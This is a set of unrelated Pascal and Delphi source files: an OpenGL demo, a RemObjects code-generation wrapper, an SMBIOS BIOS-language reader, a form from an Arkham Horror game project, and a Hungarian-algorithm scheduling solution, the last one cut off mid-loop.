glMaterialfv(GL_FRONT,GL_SPECULAR, @cyl_spec);
glMaterialf(GL_FRONT,GL_SHININESS,100.0);
glBegin(GL_QUADS);
glVertex3f(10.0,0.0,10.0);
glVertex3f(30.0,0.0,10.0);
glVertex3f(30.0,10.0,5.0);
glVertex3f(10.0,10.0,5.0);
glEnd;
glEndList;
end;
procedure TfrmGL.MakeImage;
begin
glNewList(zapImage,GL_COMPILE);
glDisable(GL_LIGHTING);
glClear(GL_DEPTH_BUFFER_BIT or GL_COLOR_BUFFER_BIT);
glMatrixMode(GL_PROJECTION);
glPushMatrix;
glLoadIdentity;
// how to fix these values ?
glOrtho(0.0, ClientWidth, 0.0, ClientHeight, -5.0, 50.0);
glMatrixMode(GL_MODELVIEW);
glPushMatrix;
glLoadIdentity; // Important !
glRasterPos2i(0,0);
glPopMatrix;
glMatrixMode(GL_PROJECTION);
glPopMatrix;
glMatrixMode(GL_MODELVIEW);
glDisable(GL_DEPTH_TEST);
glDrawPixels(ClientWidth, ClientHeight, GL_RGBA, GL_UNSIGNED_BYTE, @pixels);
glEnable(GL_DEPTH_TEST);
glEnable(GL_LIGHTING);
glEndList;
end;
{=======================================================================
Инициализация}
procedure TfrmGL.Init;
begin
qobj := gluNewQuadric;
glClearColor(0.3, 0.9, 0.9, 0.0);
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
glLightfv(GL_LIGHT0,GL_POSITION, @light1_pos);
glEnable(GL_DEPTH_TEST);
glEnable(GL_CULL_FACE);
MakeSphere;
MakeWalls;
gluDeleteQuadric (qObj);
end;
{=======================================================================
Перерисовка окна}
procedure TfrmGL.WMPaint(var Msg: TWMPaint);
var
ps : TPaintStruct;
begin
BeginPaint (Handle, ps);
If first then begin
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glCallList(walls);
// save image
glReadPixels(0, 0, 255, 255, GL_RGBA,GL_UNSIGNED_BYTE, @pixels);
first := FALSE;
MakeImage;
end
else glCallList(zapImage);
glPushMatrix;
glTranslatef (20.0, 5.0, 5.0 + dz);
glCallList (sphere);
glPopMatrix;
SwapBuffers (DC);
EndPaint (Handle, ps);
end;
{=======================================================================
Создание окна}
procedure TfrmGL.FormCreate(Sender: TObject);
begin
DC := GetDC(Handle);
SetDCPixelFormat;
hrc := wglCreateContext(DC);
wglMakeCurrent(DC, hrc);
spin := 0;
fToggle := TRUE;
step := 0.0;
dz := 0.0;
first := TRUE;
Init;
end;
{=======================================================================
Устанавливаем формат пикселей}
procedure TfrmGL.SetDCPixelFormat;
var
nPixelFormat: Integer;
pfd: TPixelFormatDescriptor;
begin
FillChar(pfd, SizeOf(pfd), 0);
pfd.dwFlags := PFD_DRAW_TO_WINDOW or PFD_SUPPORT_OPENGL or
PFD_DOUBLEBUFFER;
nPixelFormat := ChoosePixelFormat(DC, @pfd);
SetPixelFormat(DC, nPixelFormat, @pfd);
end;
{=======================================================================
Изменение размеров окна}
procedure TfrmGL.FormResize(Sender: TObject);
begin
first := TRUE;
glViewport( 0, 0, ClientWidth, ClientHeight );
glMatrixMode( GL_PROJECTION );
glLoadIdentity;
gluPerspective( 60.0, ClientWidth / ClientHeight, 5.0, 50.0);
glMatrixMode( GL_MODELVIEW );
glLoadIdentity;
gluLookAt(20.0,5.0,30.0,20.0,5.0,0.0,0.0,1.0,0.0);
InvalidateRect(Handle, nil, False);
end;
{=======================================================================
Конец работы программы}
procedure TfrmGL.FormDestroy(Sender: TObject);
begin
glDeleteLists (sphere, 1);
glDeleteLists (walls, 1);
glDeleteLists (zapImage, 1);
wglMakeCurrent(0, 0);
wglDeleteContext(hrc);
ReleaseDC(Handle, DC);
DeleteDC (DC);
end;
{=======================================================================
Обработка нажатия клавиши}
procedure TfrmGL.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
If Key = VK_ESCAPE then Close;
end;
procedure TfrmGL.Timer1Timer(Sender: TObject);
begin
dz := dz + 0.5;
InvalidateRect(Handle, nil, False);
end;
end.
|
namespace RemObjects.SDK.CodeGen4;
interface
uses
System.Runtime.InteropServices,
RemObjects.SDK.CodeGen4;
type
[ComVisible(true)]
Codegen4Platform = public enum (Cocoa, Delphi, Java, Net, CppBuilder, JavaScript);
[ComVisible(true)]
Codegen4Mode = public enum (Intf, Invk, Impl, &Async, All_Impl, _ServerAccess, All);
[ComVisible(true)]
Codegen4Language = public enum (Oxygene, CSharp, Standard_CSharp, VB, Silver, Standard_Swift, ObjC, Delphi, Java, CppBuilder, JavaScript);
[ComVisible(true)]
Codegen4FileType = public enum (&Unit, Header, Form);
[ComVisible(true)]
[Guid("F94EEEBC-9966-4B32-9C9C-763B22E31B24")]
[ClassInterface(ClassInterfaceType.AutoDual)]
Codegen4Record = public class
private
public
constructor (const aFileName, aContent: String;const aType: Codegen4FileType);
property Filename: String; readonly;
property Content: String; readonly;
property &Type: Codegen4FileType; readonly;
end;
[ComVisible(true)]
[Guid("F94EEEBC-9966-4B32-9C9C-763B22E31B22")]
[ClassInterface(ClassInterfaceType.AutoDual)]
Codegen4Records = public class
private
fList: List<Codegen4Record> := new List<Codegen4Record>;
assembly
method Add(anItem: Codegen4Record);
public
function Item(anIndex:Integer):Codegen4Record;
function Count: Integer;
[ComVisible(False)]
property Items: List<Codegen4Record> read fList;
end;
[ComVisible(true)]
[Guid("F94EEEBC-9966-4B32-9C9C-763B22E31B20")]
[ClassInterface(ClassInterfaceType.AutoDual)]
Codegen4Wrapper = public class
public const
TargetNameSpace = 'Namespace';
ServiceName = 'ServiceName';
CustomAncestor = 'CustomAncestor';
CustomUses = 'CustomUses';
ServerAddress = 'ServerAddress';
FullFramework = 'FullFramework';
AsyncSupport = 'AsyncSupport';
DelphiFullQualifiedNames = 'DelphiFullQualified';
DelphiScopedEnums = 'DelphiScopedEnums';
DelphiLegacyStrings = 'DelphiLegacyStrings';
DelphiCodeFirstCompatible = 'DelphiCodeFirstCompatible'; // deprecated
DelphiGenerateGenericArray = 'DelphiGenerateGenericArray'; // deprecated
DelphiHydra = 'DelphiHydra';
RODLFileName = 'RodlFileName';
DelphiXE2Mode = 'DelphiXE2Mode';
DelphiFPCMode = 'DelphiFPCMode';
DelphiCodeFirstMode = 'DelphiCodeFirstMode';
DelphiGenericArrayMode = 'DelphiGenericArrayMode';
private
method ParseAddParams(aParams: Dictionary<String,String>; aParamName:String):String;
method ParseAddParams(aParams: Dictionary<String,String>; aParamName: String; aDefaultState: State):State;
method GenerateInterfaceFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; fileext: String);
method GenerateAsyncFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; fileext: String);
method GenerateInvokerFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; fileext: String);
method GenerateImplFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; ¶ms: Dictionary<String,String>; aServiceName: String := nil);
method GenerateAllImplFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; ¶ms: Dictionary<String,String>);
method GenerateServerAccess(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; fileext: String; ¶ms: Dictionary<String,String>;&Platform: Codegen4Platform);
public
method Generate(&Platform: Codegen4Platform; Mode: Codegen4Mode; Language:Codegen4Language; aRodl: String; AdditionalParameters: String): Codegen4Records;
end;
implementation
method Codegen4Wrapper.Generate(&Platform: Codegen4Platform; Mode: Codegen4Mode; Language:Codegen4Language; aRodl: String; AdditionalParameters: String): Codegen4Records;
begin
if String.IsNullOrEmpty(AdditionalParameters) then AdditionalParameters := '';
result := new Codegen4Records;
var rodl := new RodlLibrary();
rodl.LoadFromString(aRodl);
var lparams := new Dictionary<String,String>();
for each p in AdditionalParameters.Split(';') do begin
var l := p.SplitAtFirstOccurrenceOf('=');
if l.Count = 2 then lparams[l[0]] := l[1];
end;
var llang := Language.ToString;
var lfileext:= '';
var codegen: RodlCodeGen;
case &Platform of
Codegen4Platform.Delphi: begin
codegen := new DelphiRodlCodeGen;
if ParseAddParams(lparams,DelphiFullQualifiedNames) = '1' then begin
DelphiRodlCodeGen(codegen).IncludeUnitNameForOwnTypes := true;
DelphiRodlCodeGen(codegen).IncludeUnitNameForOtherTypes := true;
end;
if ParseAddParams(lparams,DelphiScopedEnums) = '1' then
DelphiRodlCodeGen(codegen).ScopedEnums := true;
if ParseAddParams(lparams,DelphiLegacyStrings) = '1' then
DelphiRodlCodeGen(codegen).LegacyStrings := true;
if ParseAddParams(lparams,DelphiCodeFirstCompatible) = '1' then
DelphiRodlCodeGen(codegen).CodeFirstMode := State.Auto;
if ParseAddParams(lparams,DelphiGenerateGenericArray) = '0' then
DelphiRodlCodeGen(codegen).GenericArrayMode := State.Off;
DelphiRodlCodeGen(codegen).CodeFirstMode := ParseAddParams(lparams,DelphiCodeFirstMode, DelphiRodlCodeGen(codegen).CodeFirstMode);
DelphiRodlCodeGen(codegen).FPCMode := ParseAddParams(lparams,DelphiFPCMode, DelphiRodlCodeGen(codegen).FPCMode);
DelphiRodlCodeGen(codegen).GenericArrayMode := ParseAddParams(lparams,DelphiGenericArrayMode, DelphiRodlCodeGen(codegen).GenericArrayMode);
DelphiRodlCodeGen(codegen).DelphiXE2Mode := ParseAddParams(lparams,DelphiXE2Mode, DelphiRodlCodeGen(codegen).DelphiXE2Mode);
if DelphiRodlCodeGen(codegen).FPCMode = State.On then
DelphiRodlCodeGen(codegen).DelphiXE2Mode := State.Off;
if DelphiRodlCodeGen(codegen).DelphiXE2Mode = State.Off then begin
DelphiRodlCodeGen(codegen).CodeFirstMode := State.Off;
DelphiRodlCodeGen(codegen).GenericArrayMode := State.Off;
end;
if DelphiRodlCodeGen(codegen).DelphiXE2Mode = State.On then
DelphiRodlCodeGen(codegen).FPCMode := State.Off;
if DelphiRodlCodeGen(codegen).CodeFirstMode = State.Off then
DelphiRodlCodeGen(codegen).GenericArrayMode := State.Off;
if ParseAddParams(lparams,DelphiHydra) = '1' then
DelphiRodlCodeGen(codegen).IsHydra := true;
end;
Codegen4Platform.CppBuilder: codegen := new CPlusPlusBuilderRodlCodeGen;
Codegen4Platform.Java: codegen := new JavaRodlCodeGen;
Codegen4Platform.Cocoa: codegen := new CocoaRodlCodeGen;
Codegen4Platform.Net: begin
codegen := new EchoesCodeDomRodlCodeGen;
EchoesCodeDomRodlCodeGen(codegen).AsyncSupport := ParseAddParams(lparams,AsyncSupport) = '1';
EchoesCodeDomRodlCodeGen(codegen).FullFramework:= ParseAddParams(lparams,FullFramework) = '1';
end;
Codegen4Platform.JavaScript: codegen := new JavaScriptRodlCodeGen;
end;
codegen.RodlFileName := ParseAddParams(lparams,RODLFileName);
case Language of
Codegen4Language.Oxygene: begin
codegen.Generator := new CGOxygeneCodeGenerator();
llang := 'oxygene';
lfileext := 'pas';
end;
Codegen4Language.CSharp: begin
codegen.Generator := new CGCSharpCodeGenerator(Dialect := CGCSharpCodeGeneratorDialect.Hydrogene);
llang := 'c#';
lfileext := 'cs';
end;
Codegen4Language.Standard_CSharp: begin
codegen.Generator := new CGCSharpCodeGenerator(Dialect := CGCSharpCodeGeneratorDialect.Standard);
llang := 'standard-c#';
lfileext := 'cs';
end;
Codegen4Language.VB: begin
llang := 'vb';
lfileext := 'vb';
end;
Codegen4Language.Silver: begin
codegen.Generator := new CGSwiftCodeGenerator(Dialect := CGSwiftCodeGeneratorDialect.Silver);
llang := 'swift';
lfileext := 'swift';
if codegen is CocoaRodlCodeGen then
CocoaRodlCodeGen(codegen).SwiftDialect := CGSwiftCodeGeneratorDialect.Silver;
end;
Codegen4Language.Standard_Swift: begin
codegen.Generator := new CGSwiftCodeGenerator(Dialect := CGSwiftCodeGeneratorDialect.Standard);
llang := 'standard-swift';
lfileext := 'swift';
if codegen is CocoaRodlCodeGen then begin
CocoaRodlCodeGen(codegen).SwiftDialect := CGSwiftCodeGeneratorDialect.Standard;
CocoaRodlCodeGen(codegen).FixUpForAppleSwift;
end;
end;
Codegen4Language.ObjC: begin
codegen.Generator := new CGObjectiveCMCodeGenerator();
llang := 'objc';
lfileext := 'm';
end;
Codegen4Language.Delphi: begin
codegen.Generator := new CGDelphiCodeGenerator(splitLinesLongerThan := 200);
llang := 'delphi';
lfileext := 'pas';
end;
Codegen4Language.Java: begin
codegen.Generator := new CGJavaCodeGenerator();
llang := 'java';
lfileext := 'java';
end;
Codegen4Language.JavaScript: begin
codegen.Generator := new CGJavaScriptCodeGenerator();
llang := 'js';
lfileext := 'js';
end;
Codegen4Language.CppBuilder: begin
codegen.Generator := new CGCPlusPlusCPPCodeGenerator(Dialect:=CGCPlusPlusCodeGeneratorDialect.CPlusPlusBuilder, splitLinesLongerThan := 200);
llang := 'c++builder';
lfileext := 'cpp';
end;
end;
if codegen = nil then
raise new Exception("Unsupported platform: "+Language.ToString);
if codegen is EchoesCodeDomRodlCodeGen then begin
EchoesCodeDomRodlCodeGen(codegen).Language := llang;
if EchoesCodeDomRodlCodeGen(codegen).GetCodeDomProviderForLanguage = nil then
raise new Exception("No CodeDom provider is registered for language: "+llang);
end
else if codegen.Generator = nil then
raise new Exception("Unsupported language: "+llang);
if not (Platform in [Codegen4Platform.Delphi,Codegen4Platform.CppBuilder, Codegen4Platform.Net]) then
if Mode in [Codegen4Mode.Invk, Codegen4Mode.Impl,Codegen4Mode.All_Impl] then
raise new Exception("Generating server code is not supported for this platform.");
var ltargetnamespace := ParseAddParams(lparams,TargetNameSpace);
if String.IsNullOrEmpty(ltargetnamespace) then ltargetnamespace := nil;
// if String.IsNullOrEmpty(ltargetnamespace) then ltargetnamespace := rodl.Namespace;
// if String.IsNullOrEmpty(ltargetnamespace) then ltargetnamespace := rodl.Name;
case Mode of
Codegen4Mode.Intf: GenerateInterfaceFiles(result, codegen, rodl, ltargetnamespace, lfileext);
Codegen4Mode.Invk: GenerateInvokerFiles(result, codegen, rodl, ltargetnamespace, lfileext);
Codegen4Mode.Impl: GenerateImplFiles(result, codegen, rodl, ltargetnamespace, lparams, nil);
Codegen4Mode.Async: GenerateAsyncFiles(result, codegen, rodl, ltargetnamespace, lfileext);
Codegen4Mode.All_Impl: GenerateAllImplFiles(result, codegen, rodl, ltargetnamespace, lparams);
Codegen4Mode._ServerAccess: GenerateServerAccess(result, codegen, rodl, ltargetnamespace, lfileext, lparams, &Platform);
Codegen4Mode.All: begin
GenerateInterfaceFiles(result, codegen, rodl, ltargetnamespace, lfileext);
GenerateServerAccess(result, codegen, rodl, ltargetnamespace, lfileext, lparams, &Platform);
if (Platform in [Codegen4Platform.Delphi,Codegen4Platform.CppBuilder, Codegen4Platform.Net]) then begin
GenerateInvokerFiles(result, codegen, rodl, ltargetnamespace, lfileext);
GenerateAllImplFiles(result, codegen, rodl, ltargetnamespace, lparams);
end;
end;
end;
end;
method Codegen4Wrapper.ParseAddParams(aParams: Dictionary<String,String>; aParamName: String): String;
begin
exit iif(aParams.ContainsKey(aParamName),aParams[aParamName],'');
end;
method Codegen4Wrapper.ParseAddParams(aParams: Dictionary<String,String>; aParamName: String; aDefaultState: State): State;
begin
case ParseAddParams(aParams, aParamName) of
'0': exit State.Off;
'1': exit State.On;
'2': exit State.Auto;
else
exit aDefaultState;
end;
end;
method Codegen4Wrapper.GenerateInterfaceFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl: RodlLibrary; &namespace: String;fileext: String);
begin
var lunitname := rodl.Name + '_Intf.'+fileext;
if codegen.CodeUnitSupport then begin
if (codegen is JavaRodlCodeGen) and (codegen.Generator is CGJavaCodeGenerator) then begin
var r := codegen.GenerateInterfaceFiles(rodl,&namespace);
for each l in r do
Res.Add(new Codegen4Record(l.Key, l.Value, Codegen4FileType.Unit));
end
else begin
var lunit := codegen.GenerateInterfaceCodeUnit(rodl,&namespace,lunitname);
Res.Add(new Codegen4Record(lunitname, codegen.Generator.GenerateUnit(lunit), Codegen4FileType.Unit));
if codegen.Generator is CGObjectiveCMCodeGenerator then begin
var gen := new CGObjectiveCHCodeGenerator;
gen.splitLinesLongerThan := codegen.Generator.splitLinesLongerThan;
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
if codegen.Generator is CGCPlusPlusCPPCodeGenerator then begin
var gen := new CGCPlusPlusHCodeGenerator(Dialect:=CGCPlusPlusCodeGenerator(codegen.Generator).Dialect, splitLinesLongerThan := codegen.Generator.splitLinesLongerThan);
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
end;
end
else begin
// external codegens aren't support Generate*CodeUnit
Res.Add(new Codegen4Record(lunitname, codegen.GenerateInterfaceFile(rodl,&namespace,lunitname), Codegen4FileType.Unit));
end;
end;
method Codegen4Wrapper.GenerateInvokerFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl: RodlLibrary; &namespace: String; fileext: String);
begin
var lunitname := rodl.Name + '_Invk.'+fileext;
if codegen.CodeUnitSupport then begin
var lunit := codegen.GenerateInvokerCodeUnit(rodl,&namespace,lunitname);
if lunit <> nil then begin
Res.Add(new Codegen4Record(lunitname, codegen.Generator.GenerateUnit(lunit), Codegen4FileType.Unit));
if codegen.Generator is CGCPlusPlusCPPCodeGenerator then begin
var gen := new CGCPlusPlusHCodeGenerator(Dialect:=CGCPlusPlusCodeGenerator(codegen.Generator).Dialect, splitLinesLongerThan := codegen.Generator.splitLinesLongerThan);
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
end;
end
else begin
var s := codegen.GenerateInvokerFile(rodl,&namespace,lunitname);
if not String.IsNullOrWhiteSpace(s) then
Res.Add(new Codegen4Record(lunitname, s, Codegen4FileType.Unit));
end;
end;
method Codegen4Wrapper.GenerateImplFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl: RodlLibrary; &namespace: String; ¶ms: Dictionary<String,String>;aServiceName: String);
begin
var lServiceName := aServiceName;
if codegen.CodeUnitSupport then begin
// "pure" codegens require ServiceName
if String.IsNullOrEmpty(lServiceName) then begin
lServiceName := ParseAddParams(¶ms,ServiceName);
if String.IsNullOrEmpty(lServiceName) then raise new Exception(String.Format('{0} parameter should be specified',[ServiceName]));
end;
if codegen is DelphiRodlCodeGen then begin
DelphiRodlCodeGen(codegen).CustomAncestor := ParseAddParams(¶ms,CustomAncestor);
DelphiRodlCodeGen(codegen).CustomUses := ParseAddParams(¶ms,CustomUses);
end;
var lunit := codegen.GenerateImplementationCodeUnit(rodl,&namespace,lServiceName);
var r := codegen.GenerateImplementationFiles(lunit, rodl, lServiceName);
for each k in r.Keys do
Res.Add(new Codegen4Record(k, r[k], if Path.GetExtension(k) = ".dfm" then Codegen4FileType.Form else Codegen4FileType.Unit));
if codegen.Generator is CGCPlusPlusCPPCodeGenerator then begin
var gen := new CGCPlusPlusHCodeGenerator(Dialect:=CGCPlusPlusCodeGenerator(codegen.Generator).Dialect, splitLinesLongerThan := codegen.Generator.splitLinesLongerThan);
var rKeys := r.Keys; // 77314: Compiler gets confused about parameter to `Keys[]` indexer, also GTD shows lots of styff as dynamic.
var lunitname := Path.ChangeExtension(rKeys[0], gen.defaultFileExtension);
//var lunitname := Path.ChangeExtension(r.Keys.FirstOrDefault, gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
end
else begin
//.NET based codegen doesn't use ServiceName
var r := codegen.GenerateImplementationFiles(rodl,&namespace,lServiceName);
for each k in r.Keys do
Res.Add(new Codegen4Record(k, r[k], if Path.GetExtension(k) = ".dfm" then Codegen4FileType.Form else Codegen4FileType.Unit));
end;
end;
method Codegen4Wrapper.GenerateAllImplFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl: RodlLibrary; &namespace: String; ¶ms: Dictionary<String,String>);
begin
for serv in rodl.Services.Items do begin
if serv.DontCodegen or serv.IsFromUsedRodl then continue;
GenerateImplFiles(Res, codegen,rodl,&namespace, ¶ms, serv.Name);
end;
end;
method Codegen4Wrapper.GenerateServerAccess(Res: Codegen4Records; codegen: RodlCodeGen; rodl : RodlLibrary; &namespace: String; fileext: String; ¶ms: Dictionary<String,String>;&Platform: Codegen4Platform);
begin
var sa : ServerAccessCodeGen;
case &Platform of
Codegen4Platform.Delphi: begin
sa := new DelphiServerAccessCodeGen withRodl(rodl);
// remove defines {$IFDEF DELPHIXE2UP} if
// DelphiXE2Mode = on
// DelphiXE2Mode = auto, CodeFirst = on
// DelphiXE2Mode = auto, CodeFirst = auto, GenericArray = on
DelphiServerAccessCodeGen(sa).DelphiXE2Mode := ParseAddParams(¶ms, DelphiXE2Mode, State.Auto);
if (ParseAddParams(¶ms, DelphiXE2Mode, State.Auto) = State.Auto) and
((ParseAddParams(¶ms, DelphiCodeFirstMode, State.Auto) = State.On) or
((ParseAddParams(¶ms, DelphiCodeFirstMode, State.Auto) = State.Auto) and (ParseAddParams(¶ms, DelphiGenericArrayMode, State.Auto) = State.On))
) then
DelphiServerAccessCodeGen(sa).DelphiXE2Mode := State.On;
end;
Codegen4Platform.CppBuilder: sa := new CPlusPlusBuilderServerAccessCodeGen withRodl(rodl);
Codegen4Platform.Java: sa:= new JavaServerAccessCodeGen withRodl(rodl);
Codegen4Platform.Cocoa: sa := new CocoaServerAccessCodeGen withRodl(rodl) generator(codegen.Generator);
Codegen4Platform.Net: sa := new NetServerAccessCodeGen withRodl(rodl) &namespace(&namespace);
// Codegen4Platform.JavaScript: codegen := new JavaScriptServerAccessCodeGen;
else
exit;
end;
if not assigned(codegen.Generator) then exit; //workaround for VB
var lServerAddress := ParseAddParams(¶ms,ServerAddress);
// ignore "file" server address
if lServerAddress.ToLowerInvariant.StartsWith('file:///') then lServerAddress := '';
if not String.IsNullOrEmpty(lServerAddress) then sa.serverAddress := lServerAddress;
var lunit := sa.generateCodeUnit;
var lunitname := rodl.Name+'_ServerAccess.'+fileext;
Res.Add(new Codegen4Record(lunitname, codegen.Generator.GenerateUnit(lunit), Codegen4FileType.Unit));
if sa is DelphiServerAccessCodeGen then begin
lunitname := Path.ChangeExtension(lunitname,'dfm');
Res.Add(new Codegen4Record(lunitname, DelphiServerAccessCodeGen(sa).generateDFM, Codegen4FileType.Form));
end;
if codegen.Generator is CGObjectiveCMCodeGenerator then begin
var gen := new CGObjectiveCHCodeGenerator;
gen.splitLinesLongerThan := codegen.Generator.splitLinesLongerThan;
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
if codegen.Generator is CGCPlusPlusCPPCodeGenerator then begin
var gen := new CGCPlusPlusHCodeGenerator(Dialect:=CGCPlusPlusCPPCodeGenerator(codegen.Generator).Dialect, splitLinesLongerThan := codegen.Generator.splitLinesLongerThan);
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lunit), Codegen4FileType.Header));
end;
end;
method Codegen4Wrapper.GenerateAsyncFiles(Res: Codegen4Records; codegen: RodlCodeGen; rodl: RodlLibrary; &namespace: String; fileext: String);
begin
var lunitname := rodl.Name + '_Async';
if codegen.CodeUnitSupport then begin
if (codegen is DelphiRodlCodeGen) then begin
// generate unit for backward compatibility, Delphi/C++Builder only
var ltargetNamespace := &namespace;
//if String.IsNullOrEmpty(ltargetNamespace) then ltargetNamespace := rodl.Namespace;
if String.IsNullOrEmpty(ltargetNamespace) then ltargetNamespace := rodl.Name;
var lUnit := new CGCodeUnit();
lUnit.Namespace := new CGNamespaceReference(ltargetNamespace);
lUnit.FileName := lunitname;
Res.Add(new Codegen4Record(Path.ChangeExtension(lunitname,codegen.Generator.defaultFileExtension), codegen.Generator.GenerateUnit(lUnit), Codegen4FileType.Unit));
if codegen.Generator is CGCPlusPlusCPPCodeGenerator then begin
var gen := new CGCPlusPlusHCodeGenerator(Dialect:=CGCPlusPlusCodeGenerator(codegen.Generator).Dialect);
lunitname := Path.ChangeExtension(lunitname,gen.defaultFileExtension);
Res.Add(new Codegen4Record(lunitname, gen.GenerateUnit(lUnit), Codegen4FileType.Header));
end;
end;
end;
end;
constructor Codegen4Record(const aFileName: String; const aContent: String; const aType: Codegen4FileType);
begin
Filename := aFileName;
Content := aContent;
&Type := aType;
end;
method Codegen4Records.Add(anItem: Codegen4Record);
begin
fList.Add(anItem);
end;
method Codegen4Records.Count: Integer;
begin
exit fList.Count;
end;
method Codegen4Records.Item(anIndex: Integer): Codegen4Record;
begin
exit fList[anIndex];
end;
end. |
program BIOSLanguageInfo;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils, uSMBIOS
{ you can add units after this };
function ByteToBinStr(AValue:Byte):string;
const
Bits: array[1..8] of byte = (128,64,32,16,8,4,2,1);
var i: integer;
begin
Result:='00000000';
if (AValue<>0) then
for i:=1 to 8 do
if (AValue and Bits[i])<>0 then Result[i]:='1';
end;
procedure GetBIOSLanguageInfo;
Var
SMBios: TSMBios;
LBIOSLng: TBIOSLanguageInformation;
i: integer;
begin
SMBios:=TSMBios.Create;
try
WriteLn('BIOS Language Information');
if SMBios.HasBIOSLanguageInfo then
for LBIOSLng in SMBios.BIOSLanguageInfo do
begin
WriteLn('Installable Languages '+IntToStr( LBIOSLng.RAWBIOSLanguageInformation^.InstallableLanguages));
WriteLn('Flags '+ByteToBinStr(LBIOSLng.RAWBIOSLanguageInformation^.Flags));
WriteLn('Current Language '+LBIOSLng.GetCurrentLanguageStr);
if LBIOSLng.RAWBIOSLanguageInformation^.InstallableLanguages>1 then
begin
WriteLn('BIOS Languages');
WriteLn('--------------');
for i:=1 to LBIOSLng.RAWBIOSLanguageInformation^.InstallableLanguages do
WriteLn(' '+LBIOSLng.GetLanguageString(i));
end;
WriteLn;
end
else
Writeln('No BIOS Language Info was found');
finally
SMBios.Free;
end;
end;
begin
try
GetBIOSLanguageInfo;
except
on E:Exception do
Writeln(E.Classname, ':', E.Message);
end;
Writeln('Press Enter to exit');
Readln;
end.
|
{******************************************************************************}
{ }
{ Gofy - Arkham Horror Card Game }
{ }
{ The contents of this file are subject to the Mozilla Public License Version }
{ 1.0 (the "License"); you may not use this file except in compliance with the }
{ License. You may obtain a copy of the License at http://www.mozilla.org/MPL/ }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, }
{ WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for }
{ the specific language governing rights and limitations under the License. }
{ }
{ The Original Code is LocationSelectorForm.pas. }
{ }
{ Contains dialog for selecting current in-game location. }
{ }
{ Unit owner: Ronar }
{ Last modified: March 7, 2021 }
{ }
{******************************************************************************}
unit uLocationSelectorForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Vcl.ExtCtrls;
type
TLocationSelectorForm = class(TForm)
btn1: TButton;
edtLocationId: TEdit;
cbb1: TComboBox;
procedure btn1Click(Sender: TObject);
// procedure btn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
LocationSelectorForm: TLocationSelectorForm;
implementation
uses uMainForm;
{$R *.dfm}
procedure TLocationSelectorForm.btn1Click(Sender: TObject);
begin
if edtLocationId.Text = '' then
MessageDlg('Na ah!', mtWarning, [mbOK], 0)
else
Close;
end;
end.
|
{$A+,B-,D+,E-,F-,G+,I+,L+,N+,O-,P-,Q-,R-,S-,T-,V+,X+,Y+}
{$M 1024,0,0}
{
by Behdad Esfahbod
Algorithmic Problems Book
April '2000
Problem 85 O(N3) Weighted Matching Method Hungarian Alg.
}
program
MinimumPenaltyScheduling;
const
MaxN = 100;
var
N, L : Integer;
G : array [1 .. MaxN, 1 .. MaxN] of Integer;
W, D : array [1 .. MaxN] of Integer;
Mark : array [1 .. 2, 0 .. MaxN] of Boolean;
C, Match : array [1 .. 2, 1 .. MaxN] of Integer; {Match}
P : Longint;
Size : Integer;
I, J, E : Integer;
procedure ReadInput;
begin
Assign(Input, 'input.txt');
Reset(Input);
Readln(Input, L, N);
for I := 1 to N do
Readln(W[I], D[I]);
Close(Input);
end;
procedure WriteOutput;
begin
Assign(Output, 'output.txt');
Rewrite(Output);
Writeln(P);
for I := 1 to N do
Writeln(L * Match[1, I]);
Close(Output);
end;
function Max (A, B : Integer) : Integer;
begin
if A >= B then Max := A else Max := B;
end;
function Min (A, B : Integer) : Integer;
begin
if A <= B then Min := A else Min := B;
end;
function Dfs (V : Integer) : Boolean;
var
I : Integer;
begin
if V = 0 then
begin
Dfs := True;
Exit;
end;
Mark[1, V] := True;
for I := 1 to N do
if (C[1, V] + C[2, I] = G[V, I]) then
begin
Mark[2, I] := True;
if not Mark[1, Match[2, I]] {c}and Dfs(Match[2, I]) then
begin
Match[2, I] := V;
Match[1, V] := I;
Dfs := True;
Exit;
end;
end;
Dfs := False;
end;
procedure Assignment;
begin
for I := 1 to N do {Making graph}
for J := 1 to N do
begin
G[I, J] := - Max(0, (J * L - D[I]) * W[I]);
if C[1, I] < G[I, J] then
C[1, I] := G[I, J];
end;
for i := 1 to n do c[1,i]:=4000;
Size := N;
repeat
FillChar(Mark, SizeOf(Mark), 0);
for I := 1 to N do
if (Match[1, I] = 0) and Dfs(I) then
begin
Dec(Size);
FillChar(Mark, SizeOf(Mark), 0);
I := 0;
end;
